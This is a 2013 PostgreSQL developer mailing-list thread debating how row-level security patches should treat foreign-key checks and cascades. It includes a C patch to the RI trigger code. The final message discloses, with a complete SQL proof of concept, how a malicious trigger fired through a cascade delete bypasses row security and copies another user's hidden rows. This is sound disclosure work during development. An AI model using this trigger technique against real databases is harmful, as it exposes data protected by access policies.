Thread: How should row-security affects ON UPDATE RESTRICT / CASCADE ?
During my testing of Kohei KaiGai's row-security patches I've been looking into how foreign keys should be and are handled. There are some interesting wrinkles around FK cascades, the rights under which FK checks execute, and about the consistency effects of changing or applying an RLS policy. It seems clear that if a user tries to INSERT a tuple into a table that they would not be able to see if they tried to read it, the insert should fail with a permission denied error, at least by default or as an easy option. That stops users probing for keys by looking for unique constraint errors, i.e. key proving. This works for inserts directly into a table, but gets complicated with foreign keys. If the user tries to insert a row into table A and table A has a FK to table B, if the user cannot see the referenced value in B then they should not be able to insert the row into A, instead getting the same error as if the tuple in B really didn't exist. Otherwise, again, they can probe for the existence of keys by using foreign key relationships. Problem is, that won't necessarily happen, because the FK check is run with the rights of the table owner. So you may find that you can't insert a row that references a foreign row you can see; the FK constraint check will fail even though you can clearly see the row. Similarly, you _can_ insert a row that references a row you cannot see. It gets even weirder when you're a superuser because you're exempt from RLS checks when you query a table directly but when you add a FK constraint the check is run with the table owner's rights - so it might fail even with the rows obviously visible to you. Take the following fairly nonsensical session, which is based on the RLS test suite: test=# \dt rls_regress_schema.* List of relations Schema | Name | Type | Owner --------------------+----------+-------+-------------------rls_regress_schema | category | table | rls_regress_user0rls_regress_schema| document | table | rls_regress_user0 test=# select * from rls_regress_schema.category;cid | cname -----+----------------- 11 | novel 22 | science fiction 33 | technology 44 | manga (4 rows) test=# INSERT INTO rls_regress_schema.document (did, cid, dlevel, dtitle) VALUES (9, 22, 0, 'blah'); ERROR: insert or update on table "document" violates foreign key constraint "document_cid_fkey" DETAIL: Key (cid)=(22) is not present in table "category". Um. WTF? As Kohei KaiGai pointed out when I asked him about it, this is because the foreign key check trigger runs as the table owner, in this case rls_regress_user0. rls_regress_user0 is set up so it can't see any rows in the 'category' table even though it's the owner, so no foreign key pointing to this table can ever succeed. I don't think this is a usable situation, but I don't have any easy answers. We can't run the trigger as the current_user because it might not then have the required GRANTs for table-level access, and because it could cause malicious functions to run in the security context of the invoking user. Yet running it in the context of the owning user seems to get rid of half the point of RLS by making it incredibly hard to use it with foreign keys sanely. Thoughts? -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
On 10/29/2013 04:09 PM, Craig Ringer wrote: > Problem is, that won't necessarily happen, because the FK check is run > with the rights of the table owner. Some further reading suggests that another vendor's implementation ignores row security policy for foreign key constraint checks. So FK constraint checks can be used to probe for data, but there are no wacky inconsistencies with FKs. I'm not sure I'm thrilled with that answer, but on the other hand a better one isn't leaping out at me right now. -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
Craig Ringer <craig@2ndquadrant.com> writes:
> During my testing of Kohei KaiGai's row-security patches I've been
> looking into how foreign keys should be and are handled. There are some
> interesting wrinkles around FK cascades, the rights under which FK
> checks execute, and about the consistency effects of changing or
> applying an RLS policy.
As I recall, I've been saying since day one that row-level security cannot
sensibly coexist with foreign-key constraints, and I've been told that the
potential users of such a feature don't care. I'm glad to see somebody
else complaining.
Here's another example wherein there basically isn't a sensible solution:
suppose you have delete rights on table A, and there is a table B
with a foreign-key reference to A, and RLS says that there are rows in
B that you can't see. You try to delete some row in A that is referenced
by an invisible-to-you row in B. There are only two possible outcomes:
the system refuses your request, and thereby exposes to you the fact that
a referencing row exists; or the system allows the FK constraint to be
violated.
As far as the points you're making go, I think we must say that RLS checks
are not applied during FK trigger queries, ie the FK triggers can always
see everything even though they don't run as superuser. Otherwise you're
going to end up with constraint violations, and as a database weenie
I consider that unacceptable. This will mean that a poorly-chosen FK
arrangement will allow some leakage of row-existence info, but I don't
believe that that can be avoided anyway, per the above example.
regards, tom lane
2013/10/29 Tom Lane <tgl@sss.pgh.pa.us>: > Craig Ringer <craig@2ndquadrant.com> writes: >> During my testing of Kohei KaiGai's row-security patches I've been >> looking into how foreign keys should be and are handled. There are some >> interesting wrinkles around FK cascades, the rights under which FK >> checks execute, and about the consistency effects of changing or >> applying an RLS policy. > > As I recall, I've been saying since day one that row-level security cannot > sensibly coexist with foreign-key constraints, and I've been told that the > potential users of such a feature don't care. I'm glad to see somebody > else complaining. > Not only RLS, it is not avoidable someone to estimate invisible records using FK constraints, even if either of referencing or referenced records were protected by column-level database privilege. I don't remember how many times we had discussed about this topic. Its conclusions was that access control itself is not capable to prevent information leak (1bit; whether a particular key exists, or not) using FK constraint, however, whole of its feature makes sense as long as user's environment where RLS+PostgreSQL is installed allows such a small fraction of information leak. In case when user's environment does not allow to leak any bit, it is not a reasonable solution, even though I don't know "reasonable solution" in this prerequisites. All of other commercial databases are standing on same assumption. Even though their promotion white-paper might not say, their solution of course have same weakness that may allow to leak something. > Here's another example wherein there basically isn't a sensible solution: > suppose you have delete rights on table A, and there is a table B > with a foreign-key reference to A, and RLS says that there are rows in > B that you can't see. You try to delete some row in A that is referenced > by an invisible-to-you row in B. There are only two possible outcomes: > the system refuses your request, and thereby exposes to you the fact that > a referencing row exists; or the system allows the FK constraint to be > violated. > My vote is, system should keep referencial integrity as if RLS policy is not configured. It is more fundamental stuff than RLS policy per user basis. > As far as the points you're making go, I think we must say that RLS checks > are not applied during FK trigger queries, ie the FK triggers can always > see everything even though they don't run as superuser. > Existing my implementation does as above. If a record is referenced by invisible records, its deletion shall fail in spite of the information leakage. > Otherwise you're > going to end up with constraint violations, and as a database weenie > I consider that unacceptable. This will mean that a poorly-chosen FK > arrangement will allow some leakage of row-existence info, but I don't > believe that that can be avoided anyway, per the above example. > OK, Let's drop table-level and column-level privileges also. They will be able to leak existence of invisible records, even if user don't have privilege to reference. :-) Any tools have its expected usage and suitable situation to be applied. A significant thing is to use a feature with understanding its purpose and limitations. As everybody knows, we have no silver bullets for security, but useful tool can help us, depending on situation. Thanks, -- KaiGai Kohei <kaigai@kaigai.gr.jp>
Tom Lane-2 wrote > Craig Ringer < > craig@ > > writes: >> During my testing of Kohei KaiGai's row-security patches I've been >> looking into how foreign keys should be and are handled. There are some >> interesting wrinkles around FK cascades, the rights under which FK >> checks execute, and about the consistency effects of changing or >> applying an RLS policy. > > As I recall, I've been saying since day one that row-level security cannot > sensibly coexist with foreign-key constraints, and I've been told that the > potential users of such a feature don't care. I'm glad to see somebody > else complaining. > > As far as the points you're making go, I think we must say that RLS checks > are not applied during FK trigger queries, ie the FK triggers can always > see everything even though they don't run as superuser. Is there some way to enforce that the PK and FK hosting tables have compatible RLS definitions? The examples that come to mind are: 1) both tables have RLS filters on at least one of the FK relationship columns so in a multi-tenant situation a given user is likely (hard to enforce perfectly) to be restricted to at least checking only the subset of rows in the PK belong to their tenant. 2) the PK table has no filter AND the FK table does not have an RLS filter on any of the columns being used in the FK. This covers shared lookup tables. I see no serious problem with DELETE FK-triggers but the ability to PK probe by inserting into a FK table does seem to need limitation. Of course the normal direct insert RLS checks will help (and maybe totally) to cover #1 above. The other question is whether such a hidden relationship constitutes a mis-configuration of RLS. This goes back to compatibility - is there some algorithm that can be applied to FK constraints and the associated tables that can measure compatibility and generate warnings when a constraint or RLS definition is added or changed on those tables? An error is probably to severe; especially at first. Lacking a use-case for when two incompatible tables need to have a FK-PK relationship I'm more inclined to force the application of RLS across the relationship constraint and consider these trigger errors to be symptoms of a mis-configuration of the RLS policy that need to be fixed by the DBA. In the presence of a mis-configured policy the ability to provide security guarantees is shot and the examples so far all prove that. Table "B" should have the PK record visible for corresponding visible FK records on table "A" otherwise there would have been no way to insert the table "A" initially which means there was a time when an (invalid) constraint was added that broke the relationship and at that point an error should have been raised. Hopefully this all sparks some thoughts from others much more familiar with RLS than I. David J. -- View this message in context: http://postgresql.1045698.n5.nabble.com/How-should-row-security-affects-ON-UPDATE-RESTRICT-CASCADE-tp5776229p5776273.html Sent from the PostgreSQL - hackers mailing list archive at Nabble.com.
On 10/29/2013 10:01 PM, Tom Lane wrote: > As I recall, I've been saying since day one that row-level security cannot > sensibly coexist with foreign-key constraints, and I've been told that the > potential users of such a feature don't care. I'm glad to see somebody > else complaining. I'm concerned, rather than complaining. It seems other DBMS vendors just say "FK constraints are exempt from RLS". In the absence of a more consistent way to do it this might be the best option. My concern is that right now the superuser is still affected by RLS because triggers on tables owned by non-superusers run with the rights (and therefore RLS visibility) of those users even in response to operations invoked by the superuser. If the superuser can see a row, but when they insert a row into another table that references it they get an error, that seems just plain wrong to me. I'd kind of like to see FK constraints affected by RLS for non-superusers, at least as an option. It'd be really handy when you do have consistent RLS visibility rules across a set of tables. Problems only arise when the RLS visibility rules _differ_ between referrer and referee. > Here's another example wherein there basically isn't a sensible solution: > suppose you have delete rights on table A, and there is a table B > with a foreign-key reference to A, and RLS says that there are rows in > B that you can't see. You try to delete some row in A that is referenced > by an invisible-to-you row in B. There are only two possible outcomes: > the system refuses your request, and thereby exposes to you the fact that > a referencing row exists; or the system allows the FK constraint to be > violated. Yep, that's the flip-side of the ON DELETE CASCADE. > As far as the points you're making go, I think we must say that RLS checks > are not applied during FK trigger queries, ie the FK triggers can always > see everything even though they don't run as superuser. I think that's the sane way to go for now. If we can come up with a way of making FK constraints or some RLS-aware variant of them work, I tend to think that's a separate job to implementing the core of RLS. > Otherwise you're > going to end up with constraint violations, and as a database weenie > I consider that unacceptable. Yeah, and we can't re-check FKs as every combination of user for every FK reference whenever any FK or any RLS rule changes, not sanely anyway. -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
On 10/29/2013 11:21 PM, Kohei KaiGai wrote: > My vote is, system should keep referencial integrity as if RLS policy is > not configured. It is more fundamental stuff than RLS policy per user > basis. > I agree, and right now that is not how it works, causing some pretty confusing behaviour. -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
Craig Ringer <craig@2ndquadrant.com> writes:
> I'd kind of like to see FK constraints affected by RLS for
> non-superusers, at least as an option.
I think that's a complete nonstarter. Aside from the fact that such a
constraint will have no definable semantics, even the possibility that a
constraint doesn't mean what it appears to mean will prevent us from
making use of FK constraints for optimization --- something that's
pretty high on the planner to-do list.
regards, tom lane
On 10/30/2013 10:50 AM, Tom Lane wrote: > Craig Ringer <craig@2ndquadrant.com> writes: >> > I'd kind of like to see FK constraints affected by RLS for >> > non-superusers, at least as an option. > I think that's a complete nonstarter. Aside from the fact that such a > constraint will have no definable semantics, even the possibility that a > constraint doesn't mean what it appears to mean will prevent us from > making use of FK constraints for optimization --- something that's > pretty high on the planner to-do list. Good point. That's another good argument for FK constraints to disregard RLS. In which case, is there actually any way to determine when an SPI query is being invoked directly from an FK constraint? We'll need a way to tell so RLS can skip adding the row-security check predicate. Users who want FK-constraint-like behaviour can DIY with triggers, getting whatever behaviour they need in the face of RLS. -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
2013/10/30 Craig Ringer <craig@2ndquadrant.com>: > On 10/30/2013 10:50 AM, Tom Lane wrote: >> Craig Ringer <craig@2ndquadrant.com> writes: >>> > I'd kind of like to see FK constraints affected by RLS for >>> > non-superusers, at least as an option. >> I think that's a complete nonstarter. Aside from the fact that such a >> constraint will have no definable semantics, even the possibility that a >> constraint doesn't mean what it appears to mean will prevent us from >> making use of FK constraints for optimization --- something that's >> pretty high on the planner to-do list. > > Good point. That's another good argument for FK constraints to disregard > RLS. In which case, is there actually any way to determine when an SPI > query is being invoked directly from an FK constraint? We'll need a way > to tell so RLS can skip adding the row-security check predicate. > For your reference, my implementation patches on ri_PerformCheck() as follows. It didn't skip all the case (only when PK is modified), however, its overall idea can be common. --- a/src/backend/utils/adt/ri_triggers.c +++ b/src/backend/utils/adt/ri_triggers.c @@ -3008,6 +3008,7 @@ ri_PerformCheck(const RI_ConstraintInfo *riinfo, int spi_result; Oid save_userid; int save_sec_context; + int temp_sec_context; Datum vals[RI_MAX_NUMKEYS * 2]; char nulls[RI_MAX_NUMKEYS * 2]; @@ -3087,8 +3088,18 @@ ri_PerformCheck(const RI_ConstraintInfo *riinfo, /* Switch to proper UID to perform check as */ GetUserIdAndSecContext(&save_userid, &save_sec_context); + + /* + * Row-level security should be disabled in case when foreign-key + * relation is queried to check existence of tuples that references + * the primary-key being modified. + */ + temp_sec_context = save_sec_context | SECURITY_LOCAL_USERID_CHANGE; + if (source_is_pk) + temp_sec_context |= SECURITY_ROW_LEVEL_DISABLED; + SetUserIdAndSecContext(RelationGetForm(query_rel)->relowner, - save_sec_context | SECURITY_LOCAL_USERID_CHANGE); + temp_sec_context); /* Finally we can run the query. */ spi_result = SPI_execute_snapshot(qplan, -- KaiGai Kohei <kaigai@kaigai.gr.jp>
On 10/30/2013 11:25 AM, Kohei KaiGai wrote: > 2013/10/30 Craig Ringer <craig@2ndquadrant.com>: >> On 10/30/2013 10:50 AM, Tom Lane wrote: >>> Craig Ringer <craig@2ndquadrant.com> writes: >>>>> I'd kind of like to see FK constraints affected by RLS for >>>>> non-superusers, at least as an option. >>> I think that's a complete nonstarter. Aside from the fact that such a >>> constraint will have no definable semantics, even the possibility that a >>> constraint doesn't mean what it appears to mean will prevent us from >>> making use of FK constraints for optimization --- something that's >>> pretty high on the planner to-do list. >> >> Good point. That's another good argument for FK constraints to disregard >> RLS. In which case, is there actually any way to determine when an SPI >> query is being invoked directly from an FK constraint? We'll need a way >> to tell so RLS can skip adding the row-security check predicate. >> > For your reference, my implementation patches on ri_PerformCheck() > as follows. It didn't skip all the case (only when PK is modified), however, > its overall idea can be common. That makes plenty of sense. The only concern that comes immediately to mind for me there is what happens when the RI trigger, running with SECURITY_ROW_LEVEL_DISABLED context, does a cascade UPDATE or DELETE that results in the invocation of user-defined triggers. Otherwise an RLS-constrained user who owns a table could add a trigger to that table that, when executed via cascade from an RI check, leaks information about other tables it queries while RLS is disabled. -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services
On 10/30/2013 11:25 AM, Kohei KaiGai wrote: > + > + /* > + * Row-level security should be disabled in case when foreign-key > + * relation is queried to check existence of tuples that references > + * the primary-key being modified. > + */ > + temp_sec_context = save_sec_context | SECURITY_LOCAL_USERID_CHANGE; > + if (source_is_pk) > + temp_sec_context |= SECURITY_ROW_LEVEL_DISABLED; > + > SetUserIdAndSecContext(RelationGetForm(query_rel)->relowner, > - save_sec_context | SECURITY_LOCAL_USERID_CHANGE); > + temp_sec_context); This isn't sufficient, as it doesn't kick in when the _target_ is a primary key. For example, if you run this against the rowsecurity regression test schema you should get a nice one-row insert, but instead row-security prevents even the superuser from seeing the target row from within the FK check, leading to counter-intuitive behaviour like: test=# insert into document(did,cid,dlevel,dauthor,dtitle) select 1000, cid, dlevel, dauthor, dtitle from document where did = 8; ERROR: insert or update on table "document" violates foreign key constraint "document_cid_fkey" DETAIL: Key (cid)=(44) is not present in table "category". So: what's the logic behind restricting this to source_is_pk ? Shouldn't *all* FKs be exempt from rowsecurity checks? I think the code should just be: > + temp_sec_context = save_sec_context | SECURITY_LOCAL_USERID_CHANGE | SECURITY_ROW_LEVEL_DISABLED; i.e. ALL foreign key checks are exempt from row security filters. This isn't a complete solution as it doesn't solve another hole. The owner of the RI target table can create a trigger that runs in this security context when an ON DELETE CASCADE, ON UPDATE CASCADE or ON DELETE SET NULL trigger is invoked. They can abuse this trigger to see rows in other tables, even ones they don't own. Rather than completely disabling row security in triggers, we might instead need to disable row security for *tables owned by the user the RI trigger is being invoked as*. Or just for the table that's the subject of the RI check. Otherwise we get this nasty security hole: SET SESSION AUTHORIZATION rls_regress_user2; CREATE TABLE secrets( id integer primary key, cid integer not null, dummy text ); INSERT INTO secrets (id, cid, dummy) VALUES (1, 11, 'a'), (2, 22, 'b'); ALTER TABLE secrets SET ROW SECURITY FOR ALL TO (cid = 11); -- rls_regress_user2 only wants user0 to see the rows the row -- security policy permits GRANT SELECT ON secrets TO rls_regress_user0; -- Now, naughty rls_regress_user0 wants to know what's so secret -- in rls_regress_user2's table, so it sets up a cascade delete -- between two of its OWN tables, completely unrelated, so it can -- run a trigger with SECURITY_ROW_LEVEL_DISABLED rights. SET SESSION AUTHORIZATION rls_regress_user0; CREATE TABLE leaked (LIKE secrets); CREATE OR REPLACE FUNCTION malicious_trigger() RETURNS TRIGGER AS $$ BEGIN -- Should only see cid=11, but sees both! oops! INSERT INTO leaked SELECT * FROM secrets; IF tg_op = 'INSERT' OR tg_op= 'UPDATE' THEN RETURN new; ELSE RETURN old; END IF; END; $$ LANGUAGE plpgsql; CREATE TABLE parent(id integer primary key); INSERT INTO parent(id) VALUES (1); CREATE TABLE child( parent_id integer not null references parent(id) on delete cascade on update cascade ); INSERT INTO child(parent_id) values (1); CREATE TRIGGER malicious BEFORE UPDATE OR DELETE ON child FOR EACH ROW EXECUTE PROCEDURE malicious_trigger(); -- Now rls_regress_user0 only needs to delete the parent row, triggering -- a cascade via the RI trigger to the child, which invokes the -- malicious trigger and copies the contents of the target table. test=> DELETE FROM parent; DELETE 1 test=> SELECT * FROM leaked;id | cid | dummy ----+-----+------- 1 | 11 | a 2 | 22 | b (2 rows) oops! rls_regress_user0 should only be able to see id=1, but it bypassed RLS using the security context of the cascade to see id=2 as well! -- Craig Ringer http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services